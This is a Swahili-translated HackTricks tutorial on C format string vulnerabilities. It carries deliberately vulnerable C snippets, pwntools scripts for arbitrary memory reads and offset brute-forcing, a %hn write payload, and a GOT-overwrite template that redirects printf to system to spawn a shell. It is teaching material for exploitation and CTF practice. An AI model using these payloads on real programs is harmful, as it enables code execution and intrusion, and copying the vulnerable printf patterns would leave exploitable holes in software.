Format Strings

Reading time: 8 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

Katika C printf ni kazi inayoweza kutumika kuchapisha maandiko fulani. Parameta ya kwanza ambayo kazi hii inatarajia ni maandishi halisi yenye waandishi wa fomati. Parameta zinazofuata zinazotarajiwa ni thamani za kuchukua nafasi ya waandishi wa fomati kutoka kwa maandiko halisi.

Kazi nyingine zenye udhaifu ni sprintf() na fprintf().

Udhaifu huu unatokea wakati maandishi ya mshambuliaji yanapotumika kama hoja ya kwanza kwa kazi hii. Mshambuliaji ataweza kuunda ingizo maalum linalotumia uwezo wa printf format kusoma na kuandika data yoyote katika anwani yoyote (inasomeka/inaandikwa). Kwa njia hii, kuwa na uwezo wa kutekeleza msimbo wowote.

Formatters:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Mifano:

  • Mfano unaoweza kushambuliwa:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Matumizi ya Kawaida:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Kwa Kutokuwepo kwa Hoja:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf inayoathiriwa:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Kupata Viashiria

Muundo %<n>$x, ambapo n ni nambari, unaruhusu kuashiria kwa printf kuchagua parameter ya n (kutoka kwenye stack). Hivyo ikiwa unataka kusoma parameter ya 4 kutoka kwenye stack ukitumia printf unaweza kufanya:

c
printf("%x %x %x %x")

na ungeweza kusoma kutoka kwa param ya kwanza hadi ya nne.

Au unaweza kufanya:

c
printf("%4$x")

na kusoma moja kwa moja ya nne.

Kumbuka kwamba mshambuliaji anadhibiti printf parameta, ambayo kimsingi inamaanisha kwamba ingizo lake litakuwa kwenye stack wakati printf inaitwa, ambayo inamaanisha kwamba anaweza kuandika anwani maalum za kumbukumbu kwenye stack.

caution

Mshambuliaji anayekontrol ingizo hili, ataweza kuongeza anwani zisizo na mpangilio kwenye stack na kufanya printf izifikie. Katika sehemu inayofuata itafafanuliwa jinsi ya kutumia tabia hii.

Kusoma Bila Mpangilio

Inawezekana kutumia formatter %n$s kufanya printf ipate anwani iliyoko katika n nafasi, ikifuatia na kuichapisha kana kwamba ni string (chapisha hadi 0x00 ipatikane). Hivyo ikiwa anwani ya msingi ya binary ni 0x8048000, na tunajua kwamba ingizo la mtumiaji linaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary kwa:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

Kumbuka kwamba huwezi kuweka anwani 0x8048000 mwanzoni mwa ingizo kwa sababu mfuatano utawekwa katika 0x00 mwishoni mwa anwani hiyo.

Tafuta offset

Ili kupata offset kwa ingizo lako unaweza kutuma bytes 4 au 8 (0x41414141) ikifuatiwa na %1$x na kuongeza thamani hadi upate A's.

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Jinsi inavyofaa

Kusoma kwa njia isiyo na mipaka kunaweza kuwa na manufaa kwa:

  • Kutoa binary kutoka kwenye kumbukumbu
  • Kufikia sehemu maalum za kumbukumbu ambapo info nyeti imehifadhiwa (kama vile canaries, funguo za usimbaji au nywila za kawaida kama katika hii CTF challenge)

Kuandika kwa Njia Isiyo na Mipaka

Formatter %<num>$n inaandika idadi ya bytes zilizandika katika anwani iliyoonyeshwa katika param ya <num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kadri atakavyo kwa printf, atakuwa na uwezo wa kufanya %<num>$n kuandika nambari isiyo na mipaka katika anwani isiyo na mipaka.

Kwa bahati, ili kuandika nambari 9999, si lazima kuongeza 9999 "A"s kwenye ingizo, ili kufanya hivyo inawezekana kutumia formatter %.<num-write>%<num>$n kuandika nambari <num-write> katika anwani inayotolewa na nafasi ya num.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Hata hivyo, kumbuka kwamba kawaida ili kuandika anwani kama 0x08049724 (ambayo ni nambari KUBWA kuandika mara moja), inatumika $hn badala ya $n. Hii inaruhusu kuandika tu Bytes 2. Kwa hivyo operesheni hii inafanywa mara mbili, moja kwa ajili ya 2B za juu za anwani na nyingine kwa ajili ya zile za chini.

Kwa hivyo, udhaifu huu unaruhusu kuandika chochote katika anwani yoyote (kuandika bila mpangilio).

Katika mfano huu, lengo litakuwa kuandika upya anwani ya kazi katika jedwali la GOT ambalo litaitwa baadaye. Ingawa hii inaweza kutumia mbinu nyingine za kuandika bila mpangilio ili kutekeleza:

{{#ref}} ../arbitrary-write-2-exec/ {{#endref}}

Tuta andika upya kazi ambayo inapokea hoja zake kutoka kwa mtumiaji na kuielekeza kwa system kazi.
Kama ilivyotajwa, kuandika anwani, kawaida hatua 2 zinahitajika: Unap andika kwanza Bytes 2 za anwani na kisha zile nyingine 2. Ili kufanya hivyo $hn inatumika.

  • HOB inaitwa kwa Bytes 2 za juu za anwani
  • LOB inaitwa kwa Bytes 2 za chini za anwani

Kisha, kwa sababu ya jinsi format string inavyofanya kazi unahitaji kuandika kwanza ndogo ya [HOB, LOB] na kisha nyingine.

Ikiwa HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Ikiwa HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Template

Unaweza kupata template ya kuandaa exploit kwa aina hii ya udhaifu katika:

{{#ref}} format-strings-template.md {{#endref}}

Au mfano huu wa msingi kutoka hapa:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Inawezekana kutumia vitendo vya kuandika vya udhaifu wa format string ili kuandika katika anwani za stack na kutumia udhaifu wa aina ya buffer overflow.

Other Examples & References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks